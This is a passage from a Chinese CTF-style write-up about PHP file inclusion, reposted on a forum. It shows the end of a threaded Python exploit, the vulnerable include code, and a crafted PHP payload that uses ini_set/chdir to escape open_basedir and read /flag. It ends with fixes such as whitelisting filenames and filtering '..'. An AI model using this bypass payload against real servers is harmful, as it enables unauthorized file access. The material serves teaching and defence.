                </span><span style="color: rgba(0, 0, 255, 1)">if</span> counter &gt;=<span style="color: rgba(0, 0, 0, 1)"> maxattempts:
                  </span><span style="color: rgba(0, 0, 255, 1)">break</span>
      <span style="color: rgba(0, 0, 255, 1)">print</span>
      <span style="color: rgba(0, 0, 255, 1)">if</span><span style="color: rgba(0, 0, 0, 1)"> e.is_set():
            </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Woot!\m/</span><span style="color: rgba(128, 0, 0, 1)">"</span>
      <span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">:
            </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">:(</span><span style="color: rgba(128, 0, 0, 1)">"</span>
    <span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> KeyboardInterrupt:
      </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\nTelling threads to shutdown...</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">
      e.set()
   
    </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Shuttin' down...</span><span style="color: rgba(128, 0, 0, 1)">"</span>
    <span style="color: rgba(0, 0, 255, 1)">for</span> t <span style="color: rgba(0, 0, 255, 1)">in</span><span style="color: rgba(0, 0, 0, 1)"> tp:
      t.join()
</span><span style="color: rgba(0, 0, 255, 1)">if</span> <span style="color: rgba(128, 0, 128, 1)">__name__</span>==<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">__main__</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">:
    main()</span></pre>
</div>
<p>上次在国赛中也遇到了类似的题目,不过题目在文件包含上稍微做了一些限制,以及有禁用函数</p>
<p>文件包含代码如下:</p>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(0<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(128, 0, 128, 1)">$file</span>=<span style="color: rgba(128, 0, 128, 1)">$_GET</span>["file"<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 128, 128, 1)">highlight_file</span>(<span style="color: rgba(255, 0, 255, 1)">__FILE__</span><span style="color: rgba(0, 0, 0, 1)">);

</span><span style="color: rgba(0, 0, 255, 1)">if</span>(!<span style="color: rgba(0, 128, 128, 1)">is_array</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)){
    </span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">strpos</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span>), "We1come_To_C1sCn")!==<span style="color: rgba(0, 0, 255, 1)">false</span><span style="color: rgba(0, 0, 0, 1)">){
      </span><span style="color: rgba(0, 0, 255, 1)">include</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);
    }</span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">{
      </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "Give up!"<span style="color: rgba(0, 0, 0, 1)">;
    }
}</span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">{
    </span><span style="color: rgba(0, 0, 255, 1)">die</span>("Give up Hacker!"<span style="color: rgba(0, 0, 0, 1)">);
}

</span>?&gt;</pre>
</div>
<p>直接接收file参数,并且读取file的内容判断其中是否存在We1come_To_C1sCn,如果存在则把文件中的file文件中的代码包含进来,题目中存在open_basedir和disable_function限制了能访问的文件的路径只能在当前目录以及禁用的函数,而flag文件在/目录下面</p>
<p><span style="color: rgba(255, 0, 0, 1); font-size: 18pt">绕过方法有:</span></p>
<p>1.ini_set("open_basedir","..");+chdir("..")轻松绕过,具体分析见https://xz.aliyun.com/t/4720</p>
<p>另一种常见绕过方法,执行执行系统命令system,不受open_basedir的限制</p>
<p>在本地构造test.txt为</p>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "c1sec2333"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">chdir</span>("tips"<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 128, 128, 1)">ini_set</span>('open_basedir','..');<span style="color: rgba(0, 128, 128, 1)">chdir</span>('..');<span style="color: rgba(0, 128, 128, 1)">chdir</span>('..');<span style="color: rgba(0, 128, 128, 1)">chdir</span>('..');<span style="color: rgba(0, 128, 128, 1)">chdir</span>('..');<span style="color: rgba(0, 128, 128, 1)">ini_set</span>('open_basedir','/');<span style="color: rgba(0, 0, 255, 1)">echo</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>('/flag'<span style="color: rgba(0, 0, 0, 1)">));
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">We1come_To_C1sCn</span>
?&gt;</pre>
</div>
<p><span style="font-size: 15px; color: rgba(0, 0, 0, 1)">利用之前的exp进行修改即可得到flag</span></p>
<p><span style="font-size: 18pt; color: rgba(255, 0, 0, 1)">修复方法:</span></p>
<p>&nbsp;1.删除掉phpinfo</p>
<p>&nbsp;2.使用白名单,通过switch,判断要包含的文件名在不在合法的可包含文件名之中</p>
<p>&nbsp;3.过滤..</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">str_replace</span>("..", '', <span style="color: rgba(128, 0, 128, 1)">$tmpname</span>) !== <span style="color: rgba(128, 0, 128, 1)">$tmpname</span>)</pre>
</div>
<p>这样就不能再路径中使用目录穿越</p><br><br>
来源:https://www.cnblogs.com/tr1ple/p/10993110.html
頁: [1]
查看完整版本: vulhub-php/php_inclusion_getshell